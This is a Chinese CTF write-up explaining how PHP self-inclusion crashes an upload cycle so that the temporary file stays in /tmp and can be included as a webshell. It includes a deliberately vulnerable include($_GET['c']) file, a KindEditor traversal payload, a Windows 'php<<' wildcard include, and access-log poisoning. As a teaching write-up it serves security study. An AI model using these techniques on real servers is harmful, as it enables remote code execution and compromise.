利用php自包含特性上傳webshell

0x00 前言

今天做到一題道來自百度杯十二月第四場的ctf題,題目名字叫blog 進階篇,當時沒做出來,看了writeup才知道竟然還有這種騷操作來上傳文件進行包含。

writeup鏈接:https://blog.csdn.net/qq_30123355/article/details/58165038

 

0x01 題目復現

題目鏈接:https://www.ichunqiu.com/battalion?t=1&r=56951

前面的解題步驟是註冊一個賬號以後,在post.php頁面提交留言內容,這裏會有一個insert into注入,可以拿到管理員的密碼。

利用管理員賬號登錄上去以後會有一個文件包含點,在上級目錄下有flag文件。

正常的思路就是使用僞協議來包含flag.php文件,但是這裏通過kindeditor編輯器的漏洞遍歷文件後嘗試包含,會發現包含不了php後綴的文件,其他後綴名的文件可以正常包含

所以這裏就要用到一個php上傳文件的特性再配合上自包含使得php內存溢出的機制來生成一個webshell文件。

 

0x02 php文件上傳機制

首先先了解一下php的全局數組$_FILES。

官方的解釋:

通過 HTTP POST 方式上傳到當前腳本的項目的數組。通過使用 PHP 的全局數組 $_FILES,你可以從客戶計算機向遠程服務器上傳文件。

$_FILES 數組提供了多個內容在文件上傳時使用,比較重要的有以下幾個:

$_FILES['myFile']['name'] 客戶端文件的原名稱。 
$_FILES['myFile']['type'] 文件的 MIME 類型,需要瀏覽器提供該信息的支持,例如"image/gif"。 
$_FILES['myFile']['size'] 已上傳文件的大小,單位爲字節。 
$_FILES['myFile']['tmp_name'] 文件被上傳後在服務端儲存的臨時文件名,一般是系統默認。可以在php.ini的upload_tmp_dir 指定,默認是/tmp目錄。
  • 這裏的重點就是$_FILES[‘myFile’][‘tmp_name’]這個變量

上傳過程中還利用到了一個重要的函數move_uploaded_file(),該方法是將上傳的文件移動到新位置,若不加上這一行代碼,臨時文件在上傳週期後就被刪除而不會被存儲。

move_uploaded_file(file,newloc)

本函數檢查並確保由 file 指定的文件是合法的上傳文件(即通過 PHP 的 HTTP POST 上傳機制所上傳的)。如果文件合法,則將其移動爲由 newloc 指定的文件。

 

0x03 上傳測試

在同一目錄下創建兩個文件,file_upload.html和upload.php

  • file_upload.html

  • upload.php
<?php
    echo "上傳前的文件名: ".$_FILES['upload_file']['name'].'</>';
    echo "上傳的臨時文件名 : ".$_FILES['upload_file']['tmp_name'].'</br>';
    echo "文件類型: ".$_FILES['upload_file']['type'].'</br>';
    echo "文件大小: ".($_FILES['upload_file']['size']/1024).' KB</br>';

    echo move_uploaded_file($_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['name']);
?>

上傳以後可以看到,tmp_name的命名規則是php[0-9A-Za-z]{3,4},而且在上傳過程中是被臨時存儲在/tmp目錄下(wamp的環境)下。但是上傳完成以後文件會自動被刪除,所以在/tmp下找不到這個文件

  • 那麼我們要如何做到讓阻止他將臨時文件刪除呢?這裏就用到了自包含的特性,讓存在php文件包含點的文件包含自己,讓他產生一個相當於死循環的狀態,在包含的過程中我們進行post文件上傳操作。
self_include.php?c=self_include.php

這樣就會導致內存溢出,無法正常結束一個php上傳週期,這時它會清空自己的內存堆棧,以便從錯誤中恢復過來,這時對臨時文件的刪除操作就無法完成,當跳出這個週期後,這個臨時文件就以後綴名爲tmp的形式保存在/tmp目錄下。

這時候我們就利用存在包含點的php文件包含這個臨時文件就行了。

 

0x04 包含測試

測試環境:apache 2.4.9、php版本5.5.12

1. 創建兩個文件,一個爲存在包含點的self_include.php,一個構造的文件上傳點

  • self_include.php
<?php
    include($_GET['c']);
?>
  • self_include.html
<html>

<meta charset="utf-8">
<body>
    <form name="upload" method="post" enctype="multipart/form-data" action="./self_include.php?c=self_include.php">
        File: <input type="file" name="file">
        <input type="submit" name="submit">
    </form>
</body>
</html>

2. 我們讓他自包含和文件上傳同時進行,這裏上傳一個phpinfo文件。

當我們點擊提交以後,發現他報錯了

Maximum function nesting level of ‘100’ reached, aborting!

  • 這是因爲在我本地裝了xdebug插件,它默認只能trace 100條的信息,所以這裏在php.ini的xdebug配置下加上一條:
xdebug.max_nesting_level=600

這裏測試過大約包含到150次左右程序就會崩潰,就會在tmp目錄下生成我們需要的臨時文件。

3. 重啓服務器,此時重新包含一次,提交

可以看到這裏生成了兩個臨時文件,說明這裏經過了兩個上傳週期,之後php守護進程無法處理這種情況就會拋出一個無法訪問異常。

4. 之後就可以直接利用包含點,愉快的包含我們上傳的文件了

5. 所以在如果在遠程服務器上的php腳本存在文件包含點的話,我們就可以在本地構造一個html文件,action指向他提交過去就行了。

  • 就上面那題來說,最後爲了找到文件名,用了kindeditor編輯器的目錄遍歷漏洞來找到臨時文件的文件名
payload: /kindeditor/php/file_manager_json.php?path=../../../../tmp/
  • 在實戰中有其他兩種方式可以包含到臨時文件:
  • 使用爆破的方式找出文件名

最容易爆的是三位數字,所以這裏可以多嘗試上傳幾次,直到有三位數字的臨時文件生成。

  1. 在windows系統下可以使用通配符的方法來包含到臨時文件

由於FindFirstFile的特性,在不確定文件後面字符的情況下,可以使用<<結尾來匹配到這個文件,類似於*。

http://localhost:9000/upload/self_include.php?c=../tmp/php<<

 

0x05 腦洞大開

就這題來說還有種包含文件getshell的解法,就是包含日誌文件

訪問一個不存在的文件時,會在服務器下的/log/access.log進行記錄,我們可以通過url寫入一個一句話來包含日誌文件,從而getshell

1. 首先訪問http://localhost:9000/<?php phpinfo();?>,記得這裏需要使用bp來發包。

2. 可以看到access.log文件記錄下了我們訪問的url。

3. 進行文件包含,成功包含了phpinfo文件。

http://localhost:9000/upload/self_include.php?c=../logs/access.log

 

0x06 總結

這裏整個過程需要利用到的點

  1. 可控的文件包含點。
  2. 目錄遍歷漏洞。(查看臨時文件名)

 

重新梳理一下思路

  1. 構造一個文件上傳點,以post的方式、表單上傳(multipart/form-data)的方式上傳。
  2. action的url指向存在文件包含漏洞的php文件,接收的參數爲自身文件名(self_include.php?c=self_include.php)。
  3. self_include.php進行自文件包含的處理,不斷包含自身造成內存溢出。
  4. php守護進程發出內存溢出信號,清空緩衝區和調用堆棧,以便接收新的請求。
  5. 一次上傳週期未正常結束,/tmp目錄下的臨時上傳文件得以保留。
  6. 包含到/tmp目錄下的文件,拿到webshell。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章